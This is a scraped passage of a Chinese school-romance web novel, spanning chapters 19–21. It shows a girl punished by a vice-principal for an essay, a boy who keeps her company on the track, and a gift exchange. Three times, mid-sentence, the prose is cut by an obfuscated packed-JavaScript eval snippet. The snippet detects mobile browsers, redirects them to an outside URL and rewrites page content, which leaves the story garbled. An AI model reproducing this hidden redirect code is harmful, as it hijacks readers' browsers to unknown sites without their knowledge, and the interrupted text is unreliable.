贺行雪心情又愉悦起来,坐在床上甚至开始悠哉悠哉地哼起歌,那感觉像是他正坐在一望无际的柔软的草坪上,耳边传来清风在林间的奏乐,阳光仿佛被蜂蜜浸泡过,暖融融甜滋滋地洒在身上,舒服惬意极了。 现实是他正坐在又黑又冷的夜里,窗帘拉得密不透风,一丝月光都泄不进来,满室萧索之色。 …… 不然他回学校吧。 这想法冷不防冒出来,贺行雪身体微微一僵,悠闲的哼声霎时就停止了。 说实际的,其实他不是第一次诞生这样的想法了。特别是近来,诸如此类的念头愈发频繁。 然而人在黑暗里待久了,就会开始畏惧阳光,好像黑暗也化为了自身的一部分,是用来抵御外界的保护屏障。想要丢盔弃甲长久地站在阳光下,接受每个人投来的眼光,这对于一个长期封闭自己的人来说,是相当困难的事情。 贺行雪猛地把盒子关上。 不仅如此,他还唰地拉开床头柜下的抽屉,毫不犹豫将它放到最深处,彻底隔绝掉视线。 仿佛手里拿的是一个潘多拉魔盒,一旦打开就会出现难以控制的祸患。 做完一切,他拿出switch开始打游戏,企图如从前一样,依靠游戏摒弃掉所有不知善恶的欲望。 贺行雪啊贺行雪,你可别真被迷了魂了。 一夜过去。 他捧着游戏机,依然精神抖擞。 单机游戏的好处就在于,即使他做出了类如走路撞墙、打怪时发呆等等一系列愚蠢操作,也没有人会知道。 当然他心情也不会很好就是了。 贺行雪关掉屏幕,闭着眼瘫在椅背上装死。 半晌,他神不知鬼不觉地起身,走到床头柜前。 拉开抽屉。 魔盒的诱惑力太强大了。他像着了魔一样将那盒子取出来,再打开,随后解下腕上那只爱彼,让盒子里的同色手环取而代之。 动作行云流水,仿佛排演过许多遍。 这是回国后他收到的唯一一份礼物。 也就勉强还行吧。贺行雪低头仔细看了看,唇角微微翘起又被压下,他关上盒盖放进抽屉,而后起身拉开了窗帘。 回国的这一年,他的屋子里永远只有电灯毫无温度的照明,从不会洒满阳光。 但此刻,昏黄的晨曦从玻璃窗倾灌而入,尽数驱走长居此地的漆黑与清寒,洒下满室温光。 窗外花园绿茵如毯,青翠欲流,安宁而静谧。从他的房间,能看见园子里唯一一棵橘子树,枝桠间挂满了青绿圆润的果实。 再过两三月,差不多就要成熟了。 贺行雪极快地洗漱换衣下楼。 电梯都忘了乘,从三楼楼梯一路跑到一楼客厅。 此时刚过六点,天已微亮,范兴文在阳台躺椅上喝茶看报,听到声音煞是奇怪地斜了他一眼,稀奇道:“唉哟变天了这是,你小子下来这么早。” 通常他都会等到三角铃响,才会踩着点下楼吃饭,有时甚至不吃。 贺行雪直言:“我一会去学校。” 范兴文顿时坐直了,手里报纸抖得有点响:“干什么去?” 贺行雪用一种不可理喻的眼神看他:“上学啊,去学校还能干什么。” 他转头去了餐厅,留下范兴文震在原地。 厨房里,容姨此时也才刚开始做早餐,见到他诧异了须臾,随即招呼道:“早上好啊,小雪,想吃点什么?” 容姨不过是公式化的一问,毕竟以往得到的都是一句“随便”,但她没想到,男生这次居然真的站在原地认真思索了一下。 贺行雪脑袋里闪过了一大堆菜名,不知怎么,他今天对那些惯常吃的都提不起兴趣,一个接一个地排除掉,最后,脑海莫名其妙冒出一个圆圆胖胖的东西。 片刻后,他淡定地说。 “吃荷包蛋吧。” 容姨心里一阵咂摸。 怪了怪了。真是怪了。 平常吃惯了西式早餐、要各种食材搭配、对味道更是挑剔无比的人,突然间改换口味,要吃一个简简单单的荷包蛋? 容姨实在摸不着头脑,直愣愣地转身去冰箱拿鸡蛋,心道最近这怪事是越来越多了。 …… 附中的高二年级今天早上闹出了点不小的事,这事的起因出在九班。 由于舒禾每次的作文都很值得学生参考,所以周兰芝都会当作范文张贴在班级门口的墙上。这周的作文题目是《看见“看不见”》,舒禾在文中以开学典礼为例,写了那次高温之下晕倒的学生群体,他们是属于别人“看不见”的,更准确来说,他们是作为少数群体,而被人忽略的。 平心而论,作为周考来讲,周兰芝并不认为这篇作文有什么问题,甚至她觉得这比千篇一律的模版要有价值得多,但这个例子隐含之意是对副校长处理问题的方式不满,那副校长是什么人?周兰芝刚任职的时候就有所耳闻此人的后台之大,而舒禾只是个普通家庭的孩子。 以防生出事端,周兰芝便和课代表说这周不用粘贴范文了。结果坏就坏在,课代表前脚在办公室答应,后脚跨出门槛就把这事儿忘了,回班里下意识就把范文贴上去,这个动作早成他的习惯了。 刚开始只是传到隔壁班,后来不知怎么就在整个年级传开了,当然只是学生私下里,大家都挺佩服这个人,敢在作文里指出历届学生积怨已久的事情,以至于虽然没见过本人,但舒禾的名字已经深深刻在他们心里,并打上了“牛人”标签。 再后来就是年级主任不知怎么听到了风声,慕名来实验班门口看了眼,今早在副校办公室喝茶的时候,他当作笑谈提起了此事。 于是乎,大课间时舒禾收到了副校长的传唤。 那个语文课代表叫孙志伟,听到这件事脸都白了,跑去舒禾面前惨兮兮地道歉:“你看我这个破脑子!真的对不起啊舒禾,这事我也有责任,我和你一起去办公室吧。” 周兰芝今天早上没课休息,要不然他就可以去搬救兵了。 舒禾此时正在去办公室的路上,闻言轻声拒绝了他的好意:“是我自己写的作文,和你没关系,也不用担心,副校长可能……只是找我随便问问吧。” 这话她自己说得都没有底气。 当真的站在办公室门口时,舒禾心里的紧张达到了顶峰,在门口踌躇了好半天,才轻轻敲响了门。 里面沉默几秒,才响起中年男人低沉淡然的声音。 “请进。” 舒禾深吸一口气,走了进去。 “校长好。” 办公室整体是中式风格的装修,一进门就能看见特别显眼的红木茶桌,李文忠就坐在后面,面前摆了一堆资料正在翻看。 他抽空抬了眼:“舒禾,是叫这个名字吧。” 舒禾点头:“是的。” 他没有立刻说话,像是在忙着办公,舒禾被晾在原地好一会,也摸不准他心思,只能干站着。 直到他手中资料又翻了一页,李文忠才抬头看着她,慢慢道:“听说你对我有些不满?” “我没有这个意思。”舒禾先行否认。她的作文里其实更侧重写那些“被忽略的”,连副校长这个人都没提到,而且举的这个例子占整体篇幅的比例很小,都是就事论事,完全没有掺杂个人情感。 李文忠提了点兴趣:“你说说看。” “如果您是说那篇作文的话,”她思考着道,“我一开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16933463|192147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 始只是根据作文题目回忆起了这件事情,觉得这是个合适的例子。但后来仔细想想,我对那天的事确实有些异议,当然,只是针对这个事情。” 她停了会,继续道:“开学典礼那天有四十度了,您站在台上可能感觉还好,但是台下的同学,特别是体质弱的同学,很多都站得头脑昏沉,有些坚持住了,有些坚持不住晕倒了,您一概而论甚至责怪她们不吃早餐,可是谁不想好好吃完早餐再上学?” “只是因为课业压力太重了。”舒禾想到了卫音眼睛红肿的模样,声音低了下去,“诚然不吃早餐的行为并不可取,但或许,可以换一种更温和的方式。再者,以那天的情况,单纯体质弱的人也很可能撑不住。” “这么长的时间在太阳下暴晒,我也不认为有多少人能认真听完各个代表讲话。” 李文忠听完,意味不明地笑了起来:“历届开学典礼都是这样的,气温过高那是天意,运气不好,我能怎么办?而且除了我们,你看看哪个学校开学典礼不是这样的,怎么别人都没有提,就你跳了出来?” 舒禾对上他的眼睛:“因为大多数人从小就活在规则之下。” 李文忠恍然“哦”了声:“所以你现在要做这个少数,来打破这个规则?” “不是打破。”舒禾冷静道,“是改变。” 她说:“我并不反对开学前的动员,但一味的遵循那不是成了墨守成规?人应该是会变通的动物,像那天那样的高温,我觉得演讲时间是可以适度缩短的。” “你觉得?”李文忠赞同地点了点头,“那不然校长的位置给你坐算了?” 舒禾抿了抿唇,低着头不说话了。 见此,李文忠摆了摆手:“明天把你家长叫过来谈谈吧。” 舒禾闻言心里一紧,实在没想到会走到叫家长的地步,如果她妈妈来学校,那学文科的事肯定瞒不住了,这些天的努力都会变得无意义。 不能让她来。舒禾后背都出了冷汗,硬着头皮说:“我爸妈工作很忙,应该来不了。” 李文忠皱眉,这借口他听得多了,刚想说点什么,门口忽然又响起了“笃笃”声。 舒禾进来的时候并没有将门完全合拢,因此他从门缝看见了站在外面的男生,便没了继续和她掰扯的意思:“行了,明天你爸妈来了再说,你先回去。” 说完,他对门口扬了扬声:“进来吧。” 随即门推开了,身后传来一阵脚步,阳光斜斜地洒了进来。 舒禾瞥到地面上多了条被拉得长长的影子,她却没心思回头看,依然固执地站在原地:“我爸妈真的没时间过来。” 李文忠啧了声,不耐烦地挥挥手:“既然不想叫家长,那你现在就给我去操场上跑五圈。” 跑五圈跟叫家长比起来实在不算什么,舒禾没想到转机来得这么快,很干脆地答应了。 “好。” 事情解决,她悄悄松了口气,见李文忠还要和人说事,便准备离开。 她一转身,愣住了。 进来的人居然是贺行雪。 他穿着干净宽松的校服,单肩随意挎了个书包。人高腿长,就站在她身后。 舒禾转身的瞬间就对上了他的视线,仿佛这人已经看着她很久了,即便她转过来,他也没有移开。 四目相对。 两人都从对方眼里看出一点诧异。 舒禾怔了几秒,反应过来自己还在校长办公室,便垂下脑袋,从他旁边走了出去。 身后办公室传来几句简短的交谈,听不出内容。 大课间差不多结束了,下节课是数学,舒禾边走边想,她体力算不上好,五圈不知道要跑多久,唉,又要耽误课了。 早点跑完早点回教室吧。 校长办公室在四楼,舒禾匆匆地走到楼梯口,身后蓦地响起脚步,有人拉住了她的手肘。 她微愣,诧异地转过身,男生很快松开了。 贺行雪将那只手背在身后,缓缓地摩挲了一下,不动声色地低头看着她:“罚跑五圈?因为什么?” 舒禾沉默几秒:“……因为我在作文里写了点不该写的。” 贺行雪瞥了眼她看起来弱不禁风的身板,没忍住皱了下眉:“你先别去,我回去和他说说。” 他说完就准备回刚才的办公室,舒禾心里咯噔了下,既担心他受牵连,又怕万一校长改口要请家长,那不完了吗。 见他大步往回走,情急之下,舒禾追过去,下意识伸手抓住他:“等等!” 贺行雪果然顿住了。 他回头,眼睫微敛,视线落在下方。舒禾循着看了过去。 那里是,他们触碰在一起的手指。 20. 第 20 章 不同于之前的手腕、手肘接触,刚才情急下,舒禾只抓住了他的手指。 男生的手掌比她宽大很多,她只堪堪握到几根指尖,在这之前,舒禾以为男生的手大多是粗糙的,但贺行雪显然不是,他的皮肤触感细腻柔软,体温即使在这样的季节也是偏凉的,如同初化的春雪。 她懵了下,飞快地缩回手。 贺行雪顺势把手收进兜里,手心处还有股温热的残留,他眼神缓缓飘到别的地方。 狭长的学校走廊,除了他们空无一人,寥寥清清,偶有蝉鸣。两人之间距离不足一米,却都各自默契地别开了头,面朝着教学楼外,露出个红红的耳尖。 某种奇怪的氛围无声弥漫着。 舒禾不好意思地望向廊外,远处的银杏树枝繁叶茂,她紧张地咬了咬嘴唇:“你别……别去,是我写作文的时候没有考虑周到,跑五圈也没什么。” 大课间本来也要跑两圈,算下来只是多了三圈而已……好吧好吧,其实三圈对她来说也很多,但不管怎么样都比叫家长好。 贺行雪也正目不转睛盯着同一片银杏林,揣在裤兜里的手不自觉发着抖。刚才她手覆上来的同时,他耳边轰然炸开密集的嗡嗡声,经久不息,刺得人头晕目眩。 他此时压根没听清她说了些什么,含糊地嗯了一声,耳朵活像被开水烫过。 走廊上有一小段沉默。 舒禾望着楼下往教学楼走的人群,他们在这里耽误的时间有点久了,大课间早已结束,上课铃快要打响,现在操场应该没什么人,下去罚跑刚刚好。 她侧了侧头,小声提醒道:“快要上课了。” 贺行雪仿佛一个思维迟缓的八旬老人,顿了有好几十秒,才顺着这道声源转过去。 目光落在她的脸上,他不轻不重地嗯了一声:“你呢?” “我?”舒禾疑惑地扬着尾音,眼神带着理所当然的愁苦,“我去操场罚跑啊。” 大概是女孩子的声音闷闷的,贺行雪的胸口也跟着闷了一下,于是没搭腔。 舒禾怕时间耽误太久,便率先同他告别:“那我先下楼了。” 说完,没等到回复,她也没在意,直接转身下楼了。 她行色匆匆的,刚下完第一段阶梯,另一道脚步声紧跟着响了起来。 贺行雪就慢吞吞跟在她身后。 舒禾的动作短暂停顿了一瞬,转而意识到回国际部也得从这里下去,便没再迟疑,继续往下走。 男生跟在后面,既没有越过她,也没有落下太远,保持着十步左右的距离。 两人都没有说话,安静地往下走,空旷的楼梯间里回荡着他们交错的脚步。 一声一声的,不知出自于谁的心跳,在这阵沉默中愈渐加快。 行至一楼,国际部崭新精美的大楼就在十几米之外,操场的距离比国际部要远一截,他们又静默地走了一段,很快便到了开学那天贺行雪倚在门口被围观的位置。 舒禾心里想着事,没过几分钟,她就发觉了不对劲。 另一道脚步一刻没停地坠在后面。 她顿了顿,转过身,欲言又止地看着他。 “你……不回你的教室?” 贺行雪头也不抬:“不回。” 舒禾噎了一下:“那你现在……” “去操场。” 贺行雪说完,瞥了她一眼,像是怕她误会似的,懒洋洋地举了举手腕示意:“你跑你的步,我去运动运动。” 他腕上赫然就是那只黑色的运动手环。 舒禾微微诧异地滞了几秒。 送出去的礼物有被人认真对待,这大概是一件任何人都会高兴的事情。但舒禾想起自己送手环的起因,不禁生出几分略微的心虚。 无言地与他对视片刻,她一时半会儿居然找不到话说,憋了半晌,只好放弃,转身继续朝操场去了。 男生理所应当地跟了上来。 舒禾走几步,他亦步亦趋。 简直跟身后长了尾巴一样。 突然冒出这个荒谬的想法,舒禾差点被自己逗笑,伸手捂了捂唇不敢让正主发现,但她其实觉得这形容挺贴切,只是万万没想到用来形容的是一个男生。 而且还是那个校论坛里大肆传闻难以接近的男生。 幸亏现在操场没什么人,只有一个班在角落学习新的广播体操。舒禾想起论坛上热帖居高不下的流量,下意识走快了几步,把两个人的距离拉远。 万一被人看到和贺行雪走在一起,又得被抓着问这问那,特别是任姝宁那个八卦天才,面对她简直百口莫辩。 这么一想,舒禾的脚步不由变得更快,一到操场,她也不打招呼,直接沿着圆弧形的塑胶跑道跑了起来。 一开始没有跑得很快,毕竟还有五圈在等着她。但是当听到身后的动静跟来,舒禾就忍不住微微加速,结果没几分钟,人没甩掉,把自己累得不行。 她干脆放弃了,回归原本的速度。 一圈、两圈…… 扑面而来灼热的夏风,舒禾大口喘着气,额头析出汗水,到两圈半时,她显而易见地慢了下来,第三圈时,腿已经软得彻底跑不动了,沉重地拖在地上半走半跑。 身后那道脚步却是一直匀速地跟着,完全没有虚软的迹象,舒禾在心里默默佩服,撑着一口气继续跑。 大概跑出去一两百米,余光忽然出现一道瘦瘦高高的身影。 “别跑了。”他偏头。 舒禾累得说不出话,还隐隐有些想吐,只能努力摇了摇头回应,还有两圈呢,要早点跑完回教室上课。 贺行雪垂着眼睫,一声不吭地跟在她后面。 直到又过去半圈,女孩子的身影明显开始摇晃不稳,眼瞧着要跌下去又踉踉跄跄撑住了,看得贺行雪心惊肉跳,这样接连几次过后,他知道言语劝阻不管用,直接长手一伸拽住了她,另一只手臂虚虚地拦在后面,防止她摔倒。 “别跑了,休息一下。”他低声重申。 舒禾喘着气没空说话,片刻后点点头,动了动手臂示意可以放开了。 贺行雪抿唇,缓缓松开。 他们站的位置比较偏僻,头顶是银杏树茂盛枝叶编织而成的伞,四周无人,却不清净,远处广播体操的音乐嘈杂地钻进耳朵里,贺行雪垂着视线打量她,她的脸颊被热气熏得发红,嘴唇却没什么血色。 有一片半黄半绿的叶子打着旋儿飘了下来,落在舒禾乌黑的发顶。贺行雪手快过脑子,下意识伸过去,将它从柔软的发丝里摘了下来。 舒禾急促的喘息忽然停了一秒。 瞟到她纤长的睫毛极明显地颤了一下,他突然回过味来自己在干嘛,有一瞬间心慌,贺行雪拈叶那手负在身后,将罪证遥遥往后一抛,让它落叶归根。 完了,她别生出什么误会吧。 为表明自己清白之心,他往旁边挪了几步,视线也跟着别开。 结果没等一分钟,就看到刚停下的人又跑了出去。 “……” “舒禾!”贺行雪皱眉再次拉住她。 舒禾其实已经没什么力气了,脚步都是虚软的,被人截住差点没站稳跪下去,幸好男生早有提防,用手臂充当了一下栏杆,她才勉勉强强撑住了身体。 “你是不是缺心眼?”贺行雪面色微冷,语气有些急躁,“这里又没人监督,他说跑五圈你就真跑五圈。” 舒禾鼻腔被风灌得干涩发疼,闻言闷声说:“我不想被叫家长……” 没想到是这个理由,贺行雪一时间愣了半晌,随后又觉得有些好笑。 “怕叫家长?舒禾,你怎么跟小学生似的。” “……”男生话语里的嘲笑之意太明显,舒禾垂着脑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16943596|192147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 袋不想理他。 贺行雪看了看她黑乎乎的发顶:“行了,没人会知道,去休息一下。” “……不用,我一会就好。”运动过后心跳剧烈,舒禾慢慢调整着呼吸,依旧有点执拗地说。 贺行雪忍不住啧了下。 “你怎么一根筋掰不动呢。” 舒禾听到这话,闷声不吭地就要往前走,像要把一根筋的称呼贯彻到底。 贺行雪瞧着她这副模样,唇角微不可察地牵了下,再次绕到女生前面:“等会儿。” 舒禾不停步,他就干脆面朝她,悠闲地倒退着走,看着女生脸上闷闷不乐的表情,他那双漂亮的眼睛弯出一个笑弧,“都累成这样了,剩下的别跑了,放心吧不会被叫家长的。” 舒禾抬了抬眸,虽然什么也没说,但那清澈明亮的眼神里透着明晃晃的怀疑。 男生似乎有些无奈了,举起他清瘦但结实修长的手臂,作出一个投降的姿势:“我向你保证,绝对不会被叫家长的,你相信我,行不行。” 舒禾慢慢停下来,疑惑地看向他:“为什么你这么确定?” 贺行雪收回手臂,歪着头斟酌了一下言辞。 “我外公……和副校长有些交情,这种小事,哦,连小事都算不上吧,总之说一声就行了。” 其实说交情可能有些误差,毕竟真论起来,大概是李文忠单方面认识范兴文,而且是急于四处找人牵线搭桥的那种,毕竟他要是能搭上这条线,往后的路都要容易走很多了。 所以当李文忠听说他要复学,立刻就打了电话邀他到办公室促膝长谈,说是关怀一下他的心理状况,但实际上,关怀着关怀着可能就要把话题引到他家里去了。 平时倒没什么,贺行雪不至于一点不给他留面子,但今天恰好在办公室撞见这傻蛋,他不知怎么的,坐在那听李文忠说话就犹如被火烤一般,神思游离,多几秒都待不下去。 舒禾闻言那股强撑的劲头顿时松懈下来,这才发觉两腿酸软得不像话。 贺行雪看她皱起秀气的眉头,问道:“去那边椅子坐坐?” “我……我好像有点走不动了。”她将哭未哭,满脸痛苦地俯下身捏揉腿部,以作微不足道的缓解。 “……” 舒禾两只手或摊开或捏拳,在腿上又锤又按又捏,宽松的校服裤子时有时无地被束出纤细的形态,贺行雪瞥了几眼,有一会没说话,鬼使神差地联想到洗猫那天,舒禾穿着短裤,露出一双白皙匀称小腿的模样,不过几秒,耳朵又有了发红发烫的趋势。 他若无其事地挪开视线,觉得站在这里浑身不对劲,又欲盖弥彰地转了个身,来回踱步。 无垠的蓝天被电线分割成了细长几块,线上成双成对地立着四只圆滚滚的鸟雀,唧唧啾啾地一边交流加密语言,一边歪头歪脑地打量两个背对而立的奇怪人类。 贺行雪与这几只鸟雀面面相觑,他微眯着眸子,倏然露出一个凶恶的眼神,吓得它们立刻扑楞翅膀飞走了。 目的达成,他却觉索然无味,心中雀跃不起来。 身后断断续续传来衣服裤料摩挲的声音,窸窸窣窣地响,混合着女生蔫巴丧气的轻声嘟囔,但音量太小了听不清晰具体内容。 夏风炽热闷燥地拂过他的脸,栖息在树上的蝉虫长鸣不歇,嘈杂喧闹得烦人。贺行雪觉得胸腔里也仿佛住了一只蝉,一直没完没了地鼓噪个不停。 耳朵闷在这阵热风里,滚烫的温度不降反增,甚至愈演愈烈。 “慢死了。”他说。 舒禾动作微顿,在后面嘀咕一句:“我又没让你等着我。” 他没敢转身,仰望着碧蓝的天。半晌,轻轻咳了声,突然磕磕巴巴起来。 “……诶,我背你过去呗。” 反正手也牵过了—— 背、背一下也没什么大不了的吧。 21. 第 21 章 话音落下时,身后的响动明显有几秒停顿。 贺行雪凝神,心脏不自觉悬到了嗓子眼。 “啊……”舒禾呆了片刻,似乎有些没反应过来,“不、不用啦,我马上就好。” 说完她在大腿上快速慌乱地按揉了几下。 他的心脏又重重地砸落回去,大起大落的情绪让人微微失神。 舒禾乱七八糟地按完腿,那股不适感依然存在着,只是勉强能挪动步子了。 她叹口气,完全没料到自己体质能差成这样。接着慢吞吞地往操场边上挪,银杏树下有一排长椅可供人休息。 贺行雪微抿着唇,眼睫半覆,余光瞟到她一摇一晃的身体,他闷了会不吭声,强迫自己把视线收了回来。 脑海里天人交战,等她走出去有三四米,他还是没忍住,几步上前。 “照你这么个挪法,等走到那里天都要黑了。”他语气里带了点淡淡的挖苦,说完别开眼,伸了条手臂,“扶着。” 舒禾:“……” 哪有这么夸张啊。 她心里嘀咕一阵,瞥见男生递过来的手臂,又看了看自己打颤儿的腿,最终还是屈服了,伸出手去,用手腕搭在他结实的小臂上,就这么扶着走。 效率的确高了不少。 贺行雪看了看身边的矮个子,又看了看他们触碰的地方,浓黑的睫毛颤了几下,心里某处凹陷下去,泛起一点隐秘的雀跃。 他仔细一思索,觉得背的话确实不大合适,两个人都不自在不说,万一让老师撞见就要被打成早恋了。 他自己倒无所谓,反正清楚这是不可能的事儿,但傻蛋那个三好学生的样子,暗恋他也不敢说,肯定是一万个不愿意的。 贺行雪心里囫囵转了一大圈,旁边忽然响起噗嗤一声笑,他顿时回过神,不动声色地瞥过去,正好捕捉到舒禾一闪而过的笑意。 他眉尾轻轻提了一下。 “……你偷笑什么?” 这傻蛋高兴也不用表现得这么明显吧。 舒禾还在假装不知情,微微睁大眼睛:“我没笑啊。” 贺行雪用一副“你怎么能撒谎”的神情,严肃且正义地看着她:“你绝对笑了,瞒不过我。” 心里偷偷高兴还不敢承认,胆小鬼舒禾。 他腹诽一句。 舒禾扶着他走了几步,忽然小小地叹了声气:“好吧,我刚才确实笑了。” 她承认完就不再出声,贺行雪今天不知怎的,颇有一种打破沙锅问到底的执念:“所以你偷笑什么?” 舒禾闻言紧张兮兮地看了他一眼:“我要是说了,你不准生气啊……” 贺行雪瞧出她脸上扭捏的不自在,心里突然一个咯噔,渐渐生出一种不敢相信的猜测。 他慌里慌张错开眼,诡异地也跟着不自在起来,喉咙有点发干。 “我可没这么暴躁。” 这几个字说得极为含糊,声音也轻得不可思议,仿佛生怕打断或者盖过了什么话。 然而胸腔里那只蝉却喧嚣了起来,猛烈到了一种无法无天的地步,以至于他大脑不可控地产生一阵眩晕。 她不会要突然表白吧。 贺行雪脑海里嗡嗡的,只剩下这么一句话。 他虽然并不反感她,好吧,可能不止是不反感,但绝没到喜欢的程度。再说了,他对谈恋爱也没什么兴趣,一个男生一个女生,成天腻在一起能有什么意思? 实在不怪贺行雪这么想,主要是之前在国外升入中学的时候,一年里总要收到那么几次明示,而每当到这个时候,那些平时开朗外向的女生,脸上总会小小地扭捏一下。 简直和舒禾现在这副样子一模一样。 当时的贺行雪早没了交朋友的心思,更不想交女朋友,因而冷淡地拒绝了那些或真或假的心意。但是现在面对舒禾,他不知怎么有些说不出拒绝的话。 要是拒绝了,她会不会很伤心,万一哭了怎么办。 他完全没有哄女生的经验啊。 贺行雪心里乱糟糟的,下意识就想转移话题,但没来得及等他开口,女生的答复已经传到了耳边—— “你有没有看过古装剧啊?” “……” “什么?” 没头没尾的问话,贺行雪懵住一瞬。 女生没注意他的神色,小声地接了下去:“就是古装剧啊,宫里那些太监,就是这么扶着娘娘走的……” 她说着说着,像怕他生气似的,小心翼翼地瞟他一眼。 空气里弥漫着无可言说的沉默。 这句话声音虽然小,但贺行雪每个字都听得清清楚楚,他瞥了眼两人交叠的手臂,虽然并未看过传说中的古装剧,但太监是什么还是知道的。 他咬了咬牙,目不斜视地扶着人往前走了一段,一时间有些无语,无语中又掺了点想笑。 因为他一直没说话,舒禾便十分谨慎地看了他一眼:“我没有骂你的意思,就是突然想到了电视剧那个画面……你没生气吧?” 两人终于走到了银杏树下,贺行雪看着她坐到长椅上,这才耷下眼皮挪开视线,语气平直地吐出一句:“我说了没那么暴躁。” “那就好。”舒禾松了口气,垂着眼揉捏几下腿,安静一会,突然心生好奇,她抬了抬眸,“你怎么……突然回学校了?” 上次在校门口分别的时候,他貌似还没有这个想法。 “在家待着闲出屁了呗。” 贺行雪态度不冷不热的,注视着对面表演广播体操的那群人,没有要就此多谈的意思,不着痕迹地把话题引到她的身上:“你为什么这么怕叫家长。” 舒禾有点郁闷地抿着唇,揉了揉酸痛的腿,片刻后,她才轻轻开口:“因为我瞒着他们,偷偷选了文科。” 贺行雪眼睫微敛,看着她。 “他们希望你学理科?” 舒禾点了点头,惆怅地嗯了声:“他们觉得理科更容易找到好工作,虽然现实确实是这样,但我真的很喜欢文学方向的东西……” 她垂了垂睫毛,音量逐渐低了下去:“我一想到未来或许要做一份家长满意、但自己并不感兴趣的工作,就觉得,前路很渺茫,很枯燥乏味。” “但世界上怎么会有十全十美的事情?我有时候很唾弃自己这种理想主义,但又克制不住这样的想法,特别是当有人认同我的那一刻,我就把什么都抛下了,只剩下一股脑的冲动。”她手指不自觉地颤了颤,声音发涩,“这股冲动过去后,我觉得很对不起爸妈,他们在真心实意为我打算,我却瞒着他们背向而驰。” 舒禾突然说不下去了。 贺行雪敛眸望住她,突然开口。 “理想主义也没什么不好,”他神色坦然而悠闲,“有希望,有追求的人生,比我这样无滋无味的活着,要多很多光彩不是吗。” “但这样并不切实际……”舒禾说着慢慢停住,想问他怎么无滋无味了,却没能开口。 “不切实际的事太多了,该看各人怎么做,”贺行雪微顿,“怎么平衡好光,和它产生的阴影。” 舒禾怔愣地抬了抬眼。 贺行雪随意地倚在银杏树的树干边,两手环胸,一只肩上还挂着黑色的书包带子,那双过分好看的眼睛正看着她的方向。 平心而论,他的皮相骨相生得十足优越,就是那种放到人堆里也能一眼分辨的,特别是那双眼尾略翘的黑眸,看人的时候总像蒙了层淡淡的翳,使得人总想凑近一点,再近一点,透过那层隔膜去看看真实的他。 舒禾对着他的视线,忽然间弯了弯唇,轻轻叫了他一声。 “贺行雪。” 他被这全名叫得一激灵,闷头闷脑地站直了一点:“干嘛。” “没什么,”刚说完,男生的神情立刻带上一点幽怨,舒禾忍不住笑意,“就是突然觉得,你一定是个很优秀的人。” 想起方才那句“没滋没味”,她又着重补充:“不止是以前。” 那只蝉又开始躁动起来。 干嘛突然夸他啊。 贺行雪别开了眼,故作镇定的语气:“那肯定的,也不看看我是谁。” 坐了这么一会,腿上的酸痛感好得差不多了,舒禾趁着下课铃还没响,准备赶回教室听个末尾,于是撑起身站了起来。 “我该回教室上课了,你也赶紧回去吧,谢谢你陪我说这么多。” 贺行雪下意识看过去。 舒禾脸上扬着一个灿然的笑容,正小步倒退着朝他挥了挥手,整个人都笼罩在阳光下。 他嘴唇微抿,干巴巴地哦了一声。 舒禾与他告别完,便转身回去了。 没走出去几步,贺行雪忽然叫住她。 “等等。” 舒禾一愣,回望过去,他迈着长腿闲闲地走过来,拎下一直挂在背后的书包,伸臂往里一掏,冷白的指尖夹出一个粉嫩嫩的东西。 “回礼。” 他递到她面前。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16952266|192147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 那是一只草莓熊的挂件。 肚子圆滚滚,灰不溜秋,拽酷地歪着嘴角,模样可爱又娇憨。 舒禾缓缓睁大了双眼,视线黏在上面。 她以前也有一个草莓熊。 初中的时候,舒禾有一段时间特别沉迷于《玩具总动员》那部电影,尤其喜欢草莓熊,为此买了个小挂件天天挂在书包上,还眼巴巴地跑去爸妈面前,炫耀问这个是不是很可爱。 舒远山搞不懂现在小孩的审美:“这看起来像从垃圾桶里捡的。” 陈燕梅眼神透着直白的嫌弃:“成天不专注学习,就爱捣鼓这些乱七八糟的。” 舒禾:“……” 她把玩偶收回去,决定以后再也不要和他们分享了! 草莓熊每天陪在她身边,和她一起上下学,一起写作业,舒禾每次放下书包的时候,都要拿纸巾擦擦椅子,再让草莓熊安安稳稳地坐上去。 她无聊的时候喜欢戳戳它的脑袋,孤独的时候会嘀嘀咕咕和它讲话,压力大的时候习惯捏捏它软乎乎的手,仿佛可以从那里汲取到能量似的。 对于舒禾来说,草莓熊就是枯燥难懂的学习生活中,上天给予她的精神慰藉。 然而这个精神慰藉没能持续太久。 中考前一周的周末,舒禾在家里连刷了几个小时的题,头脑都做得昏昏沉沉的,她想让自己休息十分钟,于是找出草莓熊的电影看了起来。 